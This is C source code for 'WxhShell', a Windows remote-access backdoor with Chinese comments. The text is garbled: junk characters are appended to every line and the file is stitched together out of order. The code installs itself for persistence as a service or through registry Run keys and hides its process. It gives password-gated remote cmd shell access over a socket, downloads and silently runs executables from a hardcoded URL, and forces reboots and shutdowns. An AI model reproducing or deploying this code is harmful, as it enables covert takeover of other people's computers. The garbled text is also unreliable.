    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zRz3ot,|  
    if(Boot(SHUTDOWN)) ci$o~b6V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q H+~rj  
    else { xD~:= ]G  
    closesocket(wsh); j3FDGDrg  
    ExitThread(0); (BJs6":BFe  
    } `'g%z: ~  
    break; e]rWR  
    } 5r.{vQ  
  // 获取shell -O ej6sILO  
  case 's': { ?&Lb6(}e  
    CmdShell(wsh); /JvNJ f  
    closesocket(wsh); kY*D s;  
    ExitThread(0); Pp}j=$&j\  
    break; `=FfzL  
  } X&K1>dgWP  
  // 退出 kefQH\<X  
  case 'x': { ?&N JN/+%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #vIF]Y  
    CloseIt(wsh); IQR?n}ce  
    break; @P% &Dha  
    } wL}=$DN  
  // 离开 f#[Fqkmj  
  case 'q': { kQYX[e7n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d/"e3S1  
    closesocket(wsh); 7VR+EV  
    WSACleanup(); H3&$:h  
    exit(1); 2?HLEiI1  
    break; .i&]VGv  
        } "6.kZ$`%  
  } dfk=%lZYd9  
  } fu33wz1$}B  
"*?^'(yA@  
  // 提示信息 /Wt<[g#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A_CK,S*\,&  
} rR/PnVup  
  } >R :Bkf-  
O[$ &]>x]]  
  return; 8E|S`I  
} `|I h"EZ  
Lg-Sxz}P!  
// shell模块句柄 ]81P<Y(7  
int CmdShell(SOCKET sock) O{Wy;7i  
{ kvKbl;<&#  
STARTUPINFO si; z`'{l {  
ZeroMemory(&si,sizeof(si)); @'dtlY5;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I>:M1Yc0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f~t*8rG~m  
PROCESS_INFORMATION ProcessInfo; - wCfwC  
char cmdline[]="cmd"; dZ_Hj X7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bz,C%HFA  
  return 0; !}<Y^="  
} 06L/i,  
S)p1[&" M  
// 自身启动模式 3s"x{mtH  
int StartFromService(void) A=Dzd/CUO  
{ H:2#/1Oz>  
typedef struct LLCMp3qBz  
{ z^@98:x  
  DWORD ExitStatus; c?IFI   
  DWORD PebBaseAddress; v, 9MAZ,  
  DWORD AffinityMask; F`+}p-  
  DWORD BasePriority; <$/'iRtRzW  
  ULONG UniqueProcessId; /dj r_T  
  ULONG InheritedFromUniqueProcessId; d/N&bTg:  
}   PROCESS_BASIC_INFORMATION; |h4aJv  
>}Fe9Y.o  
PROCNTQSIP NtQueryInformationProcess; .r$d 8J  
i#=s_v8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O6 bB CF;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; % ,1bh  
=UT*1-yh R  
  HANDLE             hProcess; ~}PB&`%7  
  PROCESS_BASIC_INFORMATION pbi; CB:G4VqOT  
?u/RQ 1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZXlW_CGO  
  if(NULL == hInst ) return 0; z q _*)V  
iW9G0Ay  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '+JU(x{CCl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M|6 l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B^Fe.ty  
^1nQDd*  
  if (!NtQueryInformationProcess) return 0; Kj.4Z+^  
ET.c8K1f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?%(:  
  if(!hProcess) return 0; j&(aoGl@  
$GB/}$fd&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EPkmBru ^  
<#k(g\/R  
  CloseHandle(hProcess); n j0!  
D% v{[ KY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T5$db-^  
if(hProcess==NULL) return 0; ^Q0%_V,  
2Sz?r d,0f  
HMODULE hMod; Bs:INvhYW  
char procName[255]; f_I6g uDPz  
unsigned long cbNeeded; xJlf}LEyF  
8 6y)+h`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eEl}.W}  
$qO%lJ:  
  CloseHandle(hProcess); 8A}cxk  
@|BaZq,g  
if(strstr(procName,"services")) return 1; // 以服务启动 {$5?[KD  
AR8zCKBc^  
  return 0; // 注册表启动 }V:ZGP#!'  
} SoC3)iqv/  
z3>ldT  
// 主模块 MROe"Xj  
int StartWxhshell(LPSTR lpCmdLine) x/7kcj!O  
{ *jE> (J`  
  SOCKET wsl; Hwiw:lPq`E  
BOOL val=TRUE;  <m7m  
  int port=0; G6@XRib3  
  struct sockaddr_in door; )i|0Ubn[|  
Jga;nrU  
  if(wscfg.ws_autoins) Install(); J B[n]|  
uI lm!*0  
port=atoi(lpCmdLine); F`))qCgg]  
F8Y_L\q  
if(port<=0) port=wscfg.ws_port; +J [<zxh\  
_[IOPHa"  
  WSADATA data; /zV&ebN]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;=r_R!d@  
{^(h*zxn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^E-BB 6D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7\.{O$Q  
  door.sin_family = AF_INET; x)GpNkx:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xw2dNJL  
  door.sin_port = htons(port); /h6K"w=='!  
U4s)3jDw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cCa+UTxaJ  
closesocket(wsl); }3HN $Fwo  
return 1; Wl?0|{W  
} T%q@jv{c  
{/ef`MxV }  
  if(listen(wsl,2) == INVALID_SOCKET) { VO u/9]a  
closesocket(wsl); ;[) O{%s  
return 1; ?E +[  
} Fw.df<  
  Wxhshell(wsl); mQd L"caA  
  WSACleanup(); z.Y`"B'j`  
{mOQRAKl  
return 0; w{ +G/Ea  
h$`zuz  
} m-u3^\'  
:LrB9Cf$n  
// 以NT服务方式启动 :[\M|iAo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rvEX ;8TS  
{ ~$PY6s  
DWORD   status = 0; ;+;%s D  
  DWORD   specificError = 0xfffffff; P z< \q;  
"WF@T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T@H<Fm_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Te d1Ky2O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xky +"  
  serviceStatus.dwWin32ExitCode     = 0; Mj!g1Q  
  serviceStatus.dwServiceSpecificExitCode = 0; -}x( MZ  
  serviceStatus.dwCheckPoint       = 0; i0q<,VSl$_  
  serviceStatus.dwWaitHint       = 0; lD9QS ;  
0Ba*"/U]t~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SB x<-^  
  if (hServiceStatusHandle==0) return; ks19e>'5Q  
)JA9bR <  
status = GetLastError(); y?Cq{(  
  if (status!=NO_ERROR) 2r^G;,{  
{ vCX 54  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }t%2giJ   
    serviceStatus.dwCheckPoint       = 0; pE4yx5r5  
    serviceStatus.dwWaitHint       = 0; h[(.  
    serviceStatus.dwWin32ExitCode     = status; [Fk|%;B/~  
    serviceStatus.dwServiceSpecificExitCode = specificError; $Cnv]1%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y?P4EVknM3  
    return; >S}^0vNZX  
  } +d!"Zy2|B  
`=%mU/v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i K,^|Q8  
  serviceStatus.dwCheckPoint       = 0; ]iezwz`'  
  serviceStatus.dwWaitHint       = 0; \p.eY)>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gr&YzbSX  
} bDtb"V8e  
%LjhK,'h  
// 处理NT服务事件,比如:启动、停止 O&g$dK!Rad  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2%_UOEayU  
{ 6<SX%Bc~  
switch(fdwControl) 2 Q}^<^r  
{ '5etZ!:  
case SERVICE_CONTROL_STOP: 9M;k(B!  
  serviceStatus.dwWin32ExitCode = 0; 1ir~WFP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p N+1/m,  
  serviceStatus.dwCheckPoint   = 0; y^:N^Gt  
  serviceStatus.dwWaitHint     = 0; |V-)3 #c  
  { hM nJH_siY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eKvQS}11  
  } @:w[(K[^b/  
  return; Qv B%X)J  
case SERVICE_CONTROL_PAUSE: Lq#$q>!K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )(V!& w6  
  break; d$5\{YLy  
case SERVICE_CONTROL_CONTINUE: jI!WE$dt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }AG dWt@  
  break; / NB;eV?  
case SERVICE_CONTROL_INTERROGATE: Z Tzh[2u*  
  break; y^}00Z+l  
}; 7El:$H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v5A8"&Jr  
} 7N8a48$8  
hZtJ LY  
// 标准应用程序主函数 1X-fiQJe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @+&QNI06S  
{ A(1d q  
P$i d?  
// 获取操作系统版本 w,VUWja  
OsIsNt=GetOsVer(); 1kczlTF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d>hLnz1O  
krecUpo  
  // 从命令行安装 i p; RlO  
  if(strpbrk(lpCmdLine,"iI")) Install(); -F&*>?I  
lG R6S  
  // 下载执行文件 chszP{-@X  
if(wscfg.ws_downexe) { bM>5=Zox  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I?X!v6  
  WinExec(wscfg.ws_filenam,SW_HIDE);  aX}:O  
} T{4Ru6[  
ay>u``$R  
if(!OsIsNt) { ,}23  
// 如果时win9x,隐藏进程并且设置为注册表启动 XK,l9 {*  
HideProc(); ;@s'JSPt  
StartWxhshell(lpCmdLine); :\69N/uw`  
} rvETt  
else JAU:Wqlg1  
  if(StartFromService()) bR}=bp4K  
  // 以服务方式启动 f0ME$:2  
  StartServiceCtrlDispatcher(DispatchTable); VQ/Jz5^  
else " "{#~X}  
  // 普通方式启动 uTvck6  
  StartWxhshell(lpCmdLine); RGz NZc  
q-D|96>8  
return 0; [`U9  
} dW9Ci"~v  
g1(`a`M  
~T:L0||.%9  
fBZR  
=========================================== A5kz(pj  
'D[g{LkL  
>MGWN  
x9,jXd  
<sw@P":F  
\n t~K}a  
" )q[P&f(h  
{9yf0n  
#include <stdio.h> BY.k.]/  
#include <string.h> m`9nDiV  
#include <windows.h> f4fBUZ^ A  
#include <winsock2.h> f-G)pHm  
#include <winsvc.h> #R{>@]x`  
#include <urlmon.h> 3*& Y'/!  
0:`|T jf_  
#pragma comment (lib, "Ws2_32.lib") :{2~s  
#pragma comment (lib, "urlmon.lib") 0|RofL&o  
?+))J~@t  
#define MAX_USER   100 // 最大客户端连接数 D3 yTN"  
#define BUF_SOCK   200 // sock buffer r|=1{N x  
#define KEY_BUFF   255 // 输入 buffer Jup)A`64  
ICb!AsL  
#define REBOOT     0   // 重启 PR Mg6  
#define SHUTDOWN   1   // 关机 &s='$a; 4  
UWF \Vx*)b  
#define DEF_PORT   5000 // 监听端口 [Q0V5P~Q'  
v!8=B21  
#define REG_LEN     16   // 注册表键长度 t&xoi7!$  
#define SVC_LEN     80   // NT服务名长度 8 ECX[fw  
X3\PVsH$K  
// 从dll定义API ly-(F2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W;'fAohr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E?G'F3i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J7* o%W*V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R7/S SuG6\  
Xva(R<W7d<  
// wxhshell配置信息 bAPMD  
struct WSCFG { .P$m?p#  
  int ws_port;         // 监听端口 ]:Gy]qkO  
  char ws_passstr[REG_LEN]; // 口令 )Cl>%9  
  int ws_autoins;       // 安装标记, 1=yes 0=no %+H_V1F  
  char ws_regname[REG_LEN]; // 注册表键名 3l~+VBR_  
  char ws_svcname[REG_LEN]; // 服务名 W!wof- 1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J(l\VvK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PqV F}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8u2k-_9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hhze5_$_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Lr& V~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zp> v  
Y {^*y  
}; tL$,]I$1+  
x%l(0K  
// default Wxhshell configuration {5~h   
struct WSCFG wscfg={DEF_PORT, F(yR\)!C  
    "xuhuanlingzhe", 68XJ`/d  
    1, -67Z!N  
    "Wxhshell", UDh \%?j  
    "Wxhshell", (N}-]%#  
            "WxhShell Service", ~;3yjO)l?)  
    "Wrsky Windows CmdShell Service", z'U.}27&o  
    "Please Input Your Password: ", #NW+t|E  
  1, Jt=- >  
  "http://www.wrsky.com/wxhshell.exe", `qc"JB  
  "Wxhshell.exe" ~t)cbF(UO  
    }; ]>1Mq,!  
+6#$6hG  
// 消息定义模块 )&@YRT\c?8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ) 2Ei<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hOwb   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `(FjOd K  
char *msg_ws_ext="\n\rExit."; w.q`E@ T*  
char *msg_ws_end="\n\rQuit."; hzsQK _;S  
char *msg_ws_boot="\n\rReboot..."; 2iG+Ek-?"  
char *msg_ws_poff="\n\rShutdown..."; )X0=z1$  
char *msg_ws_down="\n\rSave to "; MY,~leP&  
~HB#7+b  
char *msg_ws_err="\n\rErr!"; G*I    
char *msg_ws_ok="\n\rOK!"; s<zN`&t  
lxyTh'  
char ExeFile[MAX_PATH]; )8A.Wg4S;c  
int nUser = 0; !:&SfPv  
HANDLE handles[MAX_USER]; ,VS\mG/}s  
int OsIsNt; %J M$]  
9;+&}:IVS  
SERVICE_STATUS       serviceStatus; h$&Tg_/'#D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CP J21^  
;k!.ey $S  
// 函数声明 Kk8wlC  
int Install(void); ,Z~`aHhr  
int Uninstall(void); 9^XZ|`  
int DownloadFile(char *sURL, SOCKET wsh); ^ Kz ?SO  
int Boot(int flag); I?'*vAW<  
void HideProc(void); 8\rca:cF   
int GetOsVer(void); #yochxF_  
int Wxhshell(SOCKET wsl); f)*?Ji|5F  
void TalkWithClient(void *cs); vwT1bw.  
int CmdShell(SOCKET sock); J@2jx4   
int StartFromService(void);  Zi~.  
int StartWxhshell(LPSTR lpCmdLine); 1m~|e.g_'`  
Mt4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  ;j26(dH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s9ix&m  
nK;d\DO  
// 数据结构和表定义 y|| n9  
SERVICE_TABLE_ENTRY DispatchTable[] = 9i\RdJv.  
{ 6\.g,>   
{wscfg.ws_svcname, NTServiceMain}, kH eD(Ea  
{NULL, NULL} VZi1b0k1.  
};  p& _Z}Wv  
JTKS5 r7?  
// 自我安装 05 6K)E  
int Install(void) 5nx*D"  
{ epsRv&LfC  
  char svExeFile[MAX_PATH]; KNeVSZT  
  HKEY key; h>`[p,o  
  strcpy(svExeFile,ExeFile); NCKR<!(  
D,cD]tB2  
// 如果是win9x系统,修改注册表设为自启动 v@{y}  
if(!OsIsNt) { rN&fFI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^aB;Oo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g$uiwqNA%  
  RegCloseKey(key); wO,qFY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jWUrw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9K& $8aD  
  RegCloseKey(key); ^UvL1+  
  return 0; 0XA\Ag\`G  
    } !f/K:CK|  
  }  vc: kY  
} eQ'E`S_d  
else { MGF !ZZ\  
JPDxzp  
// 如果是NT以上系统,安装为系统服务 lf( +]k30  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wrkw,H  
if (schSCManager!=0) P'Y(f!%  
{ u0wu\  
  SC_HANDLE schService = CreateService j EbmW*   
  ( %`bs<ZWT  
  schSCManager, %Ik5|\ob?  
  wscfg.ws_svcname, ;j T{< Y  
  wscfg.ws_svcdisp, 12 )  
  SERVICE_ALL_ACCESS, rPB Ju0D"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t%mi#Gh(  
  SERVICE_AUTO_START, e)H FI|>  
  SERVICE_ERROR_NORMAL, wf  ]Wm  
  svExeFile, s>DFAu!  
  NULL, \*MZ 1Q*x  
  NULL, L"YQji!  
  NULL, <W!T+sMQj  
  NULL, \l=A2i7TQ  
  NULL vVBWhY]  
  ); O.dZ3!!+  
  if (schService!=0) '{,JuX"n  
  { H2],auBY  
  CloseServiceHandle(schService); `m'RvUc  
  CloseServiceHandle(schSCManager); ?.,F3@W "  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ge)G.>c  
  strcat(svExeFile,wscfg.ws_svcname); (1=@.srAzK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Gq3pL<jkC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F42^Uoaz  
  RegCloseKey(key); ;R+Gf!1  
  return 0; s1OSuSL>  
    } ~Xx}:@Ld  
  } S>5w=RK   
  CloseServiceHandle(schSCManager); *fY*Wy9  
} eF;Jj>\R+i  
} # 9bw'm  
CM~x1f*v  
return 1; jXx~ 5  
} /\fR6|tJ  
sB0]lj-[Un  
// 自我卸载 fbI5!i#lz  
int Uninstall(void) iw.F8[})  
{ "U9e)a0v  
  HKEY key; ~e|E5[-i  
<YCjo[(~  
if(!OsIsNt) { GB+$ed5@<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #F/W_G7v  
  RegDeleteValue(key,wscfg.ws_regname); + $M<ck?Bo  
  RegCloseKey(key); XFFm 'W6@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fhk(<KZvJ  
  RegDeleteValue(key,wscfg.ws_regname); o JVdFE  
  RegCloseKey(key); c @lF*"4  
  return 0; &xr(Kb  
  } &#C|  
} cm!vuoB~~  
} iJZvVs',  
else { ,wr5DQ  
ZHRMW'Ne  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Q&@l49q  
if (schSCManager!=0) z>W?\[E<2  
{ W G3 _(mM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [g==#[  
  if (schService!=0) :EPe,v RT  
  { 7LaRFL.,kO  
  if(DeleteService(schService)!=0) { P{RGW.Ci@  
  CloseServiceHandle(schService); k(`>(w  
  CloseServiceHandle(schSCManager); e0C_ NFS+  
  return 0; \]F Pv7!  
  } af[dkuv  
  CloseServiceHandle(schService); O>*Vo!z\f  
  } 9QD+  
  CloseServiceHandle(schSCManager); 4[Ko|  
} G_WFg$7G%  
} 1)u,%  
r" |do2s  
return 1; lE+Duap:  
} 9r:|u:i7m  
\1u^?cBd  
// 从指定url下载文件 Yl1l$[A$  
int DownloadFile(char *sURL, SOCKET wsh) Ut%{pc 7^F  
{ U+-;(Fh~  
  HRESULT hr; x[&)\[t  
char seps[]= "/"; MTR+|I3V  
char *token; C,O9?t  
char *file; 1Uah IePf  
char myURL[MAX_PATH]; 6XAofN/5f  
char myFILE[MAX_PATH]; e[Z-&'  
[IyC}lSW^-  
strcpy(myURL,sURL); aYtW!+#  
  token=strtok(myURL,seps); K=4|GZ~p}`  
  while(token!=NULL) B%x?VOdBE  
  { ,=pn}\ R  
    file=token; OgK' ~j  
  token=strtok(NULL,seps); D3O)Tj@:}(  
  } ^]/V-!j  
'8 ^cl:X  
GetCurrentDirectory(MAX_PATH,myFILE); iYW<qgz  
strcat(myFILE, "\\"); juWbd|ad"  
strcat(myFILE, file); ?>R(;B|ER  
  send(wsh,myFILE,strlen(myFILE),0); <\d`}A:&  
send(wsh,"...",3,0); C szZr>Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1vh[sKv9%  
  if(hr==S_OK) VYK%0S9yH[  
return 0; {p$X*2ReB  
else 4y)6!p  
return 1; on7? V<  
l >oJ^J  
} : t D`e<  
;Rxc(tR!n  
// 系统电源模块 aMK\&yZD  
int Boot(int flag) z2A,*|I  
{ |*~SR.[`  
  HANDLE hToken; (76tYt~I=  
  TOKEN_PRIVILEGES tkp; nGDY::nUE  
&`g^b^i  
  if(OsIsNt) { H-% B<7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WxJaE;`Ige  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L'e|D=y  
    tkp.PrivilegeCount = 1; T0o0_R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r0<zy_d'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LCSJIt  
if(flag==REBOOT) { 7$Cv=8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R_80J=%0  
  return 0; s?9`dv} P  
} /.UISArH  
else { &jrc]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sZ"(#g;3<  
  return 0; (F#2z\$;  
} D4{<~/oBv  
  } I!Fd~g9I4  
  else { Vc8w[oS  
if(flag==REBOOT) { B;<zA' 1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a 4? c~bs  
  return 0; nwi8>MG  
} R,l*@3Q  
else { #=ko4?Wr(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }'p*C$  
  return 0; MMQ\V(C  
} 0Y!~xyg/  
} I#(?xHx  
K:$GmV9o  
return 1; 3my_Gp  
} EO/TuKt  
,H/BW`rL]#  
// win9x进程隐藏模块 S`h yRw  
void HideProc(void) #Fh:z4  
{ ;IT'6m`@W  
-;YhQxxC}L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h\6 t\_^\  
  if ( hKernel != NULL ) 0<Rq  
  { Q^'xVS_.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^ b{~]I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3[R[ `l]v?  
    FreeLibrary(hKernel); \mFgjP z  
  } H96|{q=  
Jb|dpu/e  
return; k7nke^,|  
} dFk$rr>q  
#_'^oGz`  
// 获取操作系统版本 h\|T(597.  
int GetOsVer(void) >4?735f=x  
{ ?0d#O_la3  
  OSVERSIONINFO winfo; }gQnr;lv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $F@ ,,*  
  GetVersionEx(&winfo); 5"L.C32  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s[t?At->  
  return 1; rL/H{.@$`  
  else `Js"*[z  
  return 0; (I#3![q  
} :>3?|Z"Aj  
}n k [WW  
// 客户端句柄模块 |Syulus  
int Wxhshell(SOCKET wsl) N1JM[<PP  
{ 4=l$wg~;  
  SOCKET wsh; /b."d\  
  struct sockaddr_in client; 3oPyh $*  
  DWORD myID; `dgZ`#  
1+Q@RiW  
  while(nUser<MAX_USER) S0lt _~  
{ XrGP]k6.^  
  int nSize=sizeof(client); 2zkO s:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \| 'Yuh  
  if(wsh==INVALID_SOCKET) return 1; GjX6noqT  
cJ'OqV F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )D7/[zb^  
if(handles[nUser]==0) @lCyH(c%  
  closesocket(wsh); %vRCs]  
else :;w#l"e7<  
  nUser++; =DXN`]uN  
  } 4 udW 6U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tPFj[Y~Iy  
=A_fL{ SM  
  return 0; (~?p`g+I.P  
} "6i3'jc`  
OgCz[QXr_  
// 关闭 socket (J.k\d   
void CloseIt(SOCKET wsh) x-~=@oiv  
{ O_v*,L!  
closesocket(wsh); 8-x)8B  
nUser--; B|r'  
ExitThread(0); -7VQ {nC  
} 2CV?cm  
yg82a7D  
// 客户端请求句柄 ^MvBW6#1  
void TalkWithClient(void *cs) !d1a9los  
{ _W>xFBy  
HnKXO  
  SOCKET wsh=(SOCKET)cs; QVkrhwp  
  char pwd[SVC_LEN]; sY&Z/Y  
  char cmd[KEY_BUFF]; 9`7>" [=P  
char chr[1]; di37   
int i,j; 1YtK+,mz  
lLS7K8;4W  
  while (nUser < MAX_USER) { a: F\4x=  
!iW> xo  
if(wscfg.ws_passstr) { 8Y/1+-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )D&xyC}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |u+!CR  
  //ZeroMemory(pwd,KEY_BUFF); /z: mi  
      i=0; =G`g-E2  
  while(i<SVC_LEN) { dEZlJo@J  
XmN8S_M>v  
  // 设置超时 ;KT5qiqYH  
  fd_set FdRead; &W{v(@  
  struct timeval TimeOut; wJh/tb=$o  
  FD_ZERO(&FdRead); ?H eUU  
  FD_SET(wsh,&FdRead); . Gb!mG  
  TimeOut.tv_sec=8; Y;k iU  
  TimeOut.tv_usec=0; Yw_!40`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZWQ/BgKB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =X7_!vSv  
$ByP 9=|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a`>H69(bU  
  pwd=chr[0]; Yh; A)N p  
  if(chr[0]==0xd || chr[0]==0xa) { R1(3c*0f  
  pwd=0; E@4/<;eKK  
  break; .sD=k3d  
  } ~nApRC)0  
  i++; S1U[{R?,  
    } w[AL'1s]  
]88qjKL  
  // 如果是非法用户,关闭 socket $dG:29w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J|`.d46  
} w8a49Fv  
\J;_%-Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I:("f+ H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z, n[}Q#u  
hw=~ %f;  
while(1) { &d\ y:7  
my#\(E+  
  ZeroMemory(cmd,KEY_BUFF); R[@}Lg7+v  
X!m lC51  
      // 自动支持客户端 telnet标准   ],Yy)<e.  
  j=0; /@I`V?Q!a  
  while(j<KEY_BUFF) { 6"R'z#{OF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &0xM 2J  
  cmd[j]=chr[0]; "uFwsjz&B  
  if(chr[0]==0xa || chr[0]==0xd) { uaZHM@D  
  cmd[j]=0; 5]n\E?V'L  
  break; gU1Pb]]  
  } egVKAR-  
  j++; 4iss j$  
    } 8e1Z:axn0  
}_5R9w]"  
  // 下载文件 Udq!YXE0  
  if(strstr(cmd,"http://")) { Fm*npK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QNH3\<IS  
  if(DownloadFile(cmd,wsh)) z"Mk(d@-E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mhB2l/  
  else ij;P5OA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8|zOgn{  
  } +wf9!_'  
  else { dT[JVl+3=  
pTXF^:8  
